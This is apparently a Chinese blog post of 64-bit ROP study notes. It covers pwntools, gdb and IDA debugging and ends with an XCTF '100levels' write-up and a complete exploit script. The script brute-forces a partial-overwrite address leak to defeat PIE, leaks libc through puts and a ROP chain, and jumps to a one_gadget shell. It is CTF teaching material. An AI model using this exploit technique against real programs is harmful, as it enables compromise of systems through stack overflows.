64位ROP练习

写在前面

这个博文应该会持续更新,把看到的64rop有意思的地方都写进来。以及把64位程序的一些相关知识记录一下。真实感受是,pwn技巧要能有长进的话学习是一方面,但是学习的时候别人不会面面俱到,很多细节自己没有掌握。但是有了ida有了gdb,配合各种工具应该自己多摸索。

工具

  • IDA pro
  • Pwndbg (gdb插件,高亮调试)
  • Onegadget (在libc中找到shellcode的偏移)
  • ROPgadget (在程序中找到特定的gadget)
  • libc-database (根据泄露的函数地址的后12位找到libc版本)

基本知识

64位和32位程序的不同点之一就是,它的前6个参数是通过寄存器传递的,有更多的参数才用栈,所以构造rop链的方式和32位不同:
64位寄存器

和函数栈有关的指令解释

leave等价于mov rsp, rbp ;pop rbp; (注意,pop rbp后,rsp会自动忘高地址移动一个指针,所以再ret就会pop retaddr)
retn等价于pop rip; (这里n是near的意思,指不pop cs) 然后执行rip指向的那条指令
retf等价于pop rip; pop rcs

可以发现不管是leave还是ret都不会再次调整rsp了,因为一般函数的开头都会执行

1
2
3
push rbp
mov rbp, rsp
sub rsp, Constant

一般分析的思路

leak info –> get function addr –> get libc base –> get shell

rop的题有时给libc有时又不给,其实这个差别现在来看并不大, 即使开启了PIE也可以用libc-database找libc版本。分析题目,如果没有开启PIE,那方便,只要有溢出直接rop。如果开了canary,那得根据情况分析。开了PIE,这时候第一步是leak info,必须得有地方去rop,盲打不现实。leak info的时候就充分利用按段加载的特性和最低12位不变的特性来做,但是要注意栈每次加载还是会有变化,即使是最低12位也会不同。通过泄露地址来配合ropgadgets使用,要泄露出程序加载的地址才有用。另外就是看利用read和printf和puts看能不能想办法泄露libc基地址,给了libc加基地址就能够rop到libc里了,配合onegadget已经可以getshell了。如果没有给libc版本就在使用libc-database查找就好。此外还有GOT表可不可以被劫持的问题,如果开了full RELRO的话,GOT是不可以写的。最后落实到写exploit上,使用pwntools时可以把已知的信息放到最开始的变量里,需要泄露的信息中间再写。

offset的说明

已知在64位的情况下经常会开启PIE,地址随机的情况下最低的12位是固定的,而且64位机器上最高两个字节都是0,而第三位一般是0x55。

  • ROPgadget给出的地址是相对于程序加载地址的偏移地址,即使开了PIE,leak出加载的基地址后gadgets也是可以用的
  • onegadget给出的是相对于libc基地址的偏移地址
  • pwntools给出的got,plt信息是相对于程序加载地址的偏移(开了PIE也是)

程序加载的基地址之前还一直不知道在哪,自己调出来的:
程序加载基地址

找地址的方法

以前喜欢用gdb打断点慢慢调,但是因为静态分析的时候就是用的ida,如果不是用到堆相关的东西,动态调试还是继续用ida吧,打断点到关键代码然后看栈和代码段的信息,因为可以配合伪代码看,还挺方便的。但是有的时候ida给的伪代码有时候识别不出来变量的真实情况,比如有时候就看不出来这个变量是在栈上的,需要慢慢看汇编。view里的open subview来找各个段很方便。

pwntools配合gdb调试

1
2
3
4
5
6
7
8
9
from pwn import*
import pwnlib
p = process('./xxxx')

payload = .....
pwnlib.gdb.attach(p)
pause() # gdb里打断点
p.sendline(payload)
p.interactive()

ps:
还可以使用其他xterm,tmux等其他终端,如果脚本运行在tmux中,可以这样指定

1
2
context.terminal = ['tmux', 'splitw', '-h']
context.terminal = ['tmux', 'splitw', '-v']

这两种可以让gdb运行在横向或者纵向分割出来的tmux窗口中。

另外,也可以在attach的时候指定gdb脚本,这样可以断在自己想的地方。

1
gdb.attach(proc.pidof(s)[0], execute='b *0x400620\nc\n')

pwntools配合IDA调试

用socat把程序挂在虚拟机的固定端口

1
2
socat tcp-l:端口号,reusseaddr,fork exec:程序位置
socat tcp-listen:10001,reuseaddr,fork EXEC:./heapTest_x86,pty,raw,echo=0 #例子

  • 这时候可以选择host或者虚拟机里打开python用pwntools的remote连上程序了(仅仅使用remote)
  • 返回ida选择attach to process,刚开始可以打好断点按f9跳过.最后就是使用ipython里的pwntools开心的调试了
  • 不用ipython的话配合pause使用更佳

实战

XCTF——100levels

题目给了libc,拿到程序看一下开了什么保护:

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled

开了PIE的题目,第一步就是leak info,找到栈上有一个变量被printf函数调用并且没做检查,突破口找到。如果能把这个栈地址上放一个.text的地址,通过printf可以泄露一部分信息。有意思的是只让泄露4个字节,高2字节为0,低一个半字节确定的情况下,需要爆破4个半字节。
leak
又考虑到代码段加载通常高第三个字节为0x55或者0x56,因此可以考虑让rbp的偏移刚好为泄露从低位开始的第2,3,4,5字节,代码段的地址就被泄露出来了。已知这个地址就可以开始rop了,通过rop一个puts的libc_start_main的got表调用,返回地址设置成main函数地址。libc及地址也就有了。再用一下onegadget大功告成。写一个脚本暴力枚举一下,按理来说有3%多的概率让rbp-0x34撞到rip.
flag
总结
这题需要partial-write栈基栈泄露地址来绕过PIE.利用情况即为栈上某一变量可被泄露时,通过栈溢出rop分别泄露加载地址和libc基地址。这里泄露libc式的rop找的太轻松了,也是一种套路吧,puts调用
libc_start_main@got.plt.细节上要注意的是动态调试的时候多用pause断下来,判断好exploit写对了没。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
from pwn import *
import sys
context.log_level='debug'

def menu(choice):
sh.recv()
sh.sendline(str(choice))

def run(x,y):
sh.recv()
sh.sendline(str(x))
sh.recv()
sh.sendline(str(y))

elf = ELF('./100levels')
libc = ELF('./libc.so')

while True:
if len(sys.argv) > 2:
sh = remote(sys.argv[1], sys.argv[2])
else:
sh = process('./100levels')
menu(1)
run(100,1)
sh.recvuntil("Question:")
q = sh.recvuntil("=")[:-1]
ans = eval(q.strip())
sh.recv()
try:
sh.send(str(ans).ljust(0x30, '\x00') +'\xcd')
# leak addr
sh.recvuntil('Level ')
medium = sh.recvuntil('\n')[:-1]
medium = int(medium)
if medium < 0:
medium = 0x100000000 + medium
medium = hex(medium)[2:]
print medium
if len(medium)<8:
medium = medium.rjust(8,'0')
real_addr = '000055'+ medium +'8b'
print real_addr
# make stack arguments
print 'sent successfully!'
except:
continue
code_base = int(real_addr,16) - 3723
pop_rdi = code_base+0x1033
__libc_start_main_addr_got = code_base + elf.got['__libc_start_main']
puts_plt = code_base + elf.plt['puts']
main_addr = code_base + 3911
sh.send('a'*56+p64(pop_rdi)+p64(__libc_start_main_addr_got)+p64(puts_plt)+p64(main_addr))
try:
sh.recv()
except:
continue
try:
libc_addr = u64(sh.recv() + '\x00\x00')
except:
continue
print 'solved!!\n'
one_gadget = - libc.symbols['__libc_start_main'] + 0x4526a + libc_addr
menu(1)
run(100,1)
sh.recvuntil("Question:")
q = sh.recvuntil("=")[:-1]
ans = eval(q.strip())
sh.recv()
sh.send(str(ans).ljust(0x38, '\x00') +p64(one_gadget))
sh.interactive()

文章目录
  1. 1. 写在前面
  2. 2. 工具
  3. 3. 基本知识
    1. 3.1. 和函数栈有关的指令解释
  4. 4. 一般分析的思路
  5. 5. offset的说明
  6. 6. 找地址的方法
  7. 7. pwntools配合gdb调试
  8. 8. pwntools配合IDA调试
  9. 9. 实战
    1. 9.1. XCTF——100levels
|